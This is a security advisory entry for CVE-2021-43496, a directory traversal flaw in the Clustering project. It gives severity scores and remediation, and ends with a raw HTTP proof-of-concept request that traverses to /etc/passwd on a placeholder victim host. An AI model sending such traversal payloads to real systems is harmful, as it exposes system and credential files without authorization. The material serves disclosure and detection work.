| Title | Clustering Local File Inclusion |
|---|---|
| Author | Evan Rubinstein |
| Severity | High |
| Impact | This vulnerability can result in unauthorized access to sensitive files and directories, as well as the execution of arbitrary code on the affected system. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.40172 |
| CVE ID | CVE-2021-43496 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve lfi clustering clustering_project vuln |
Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
GET /img/../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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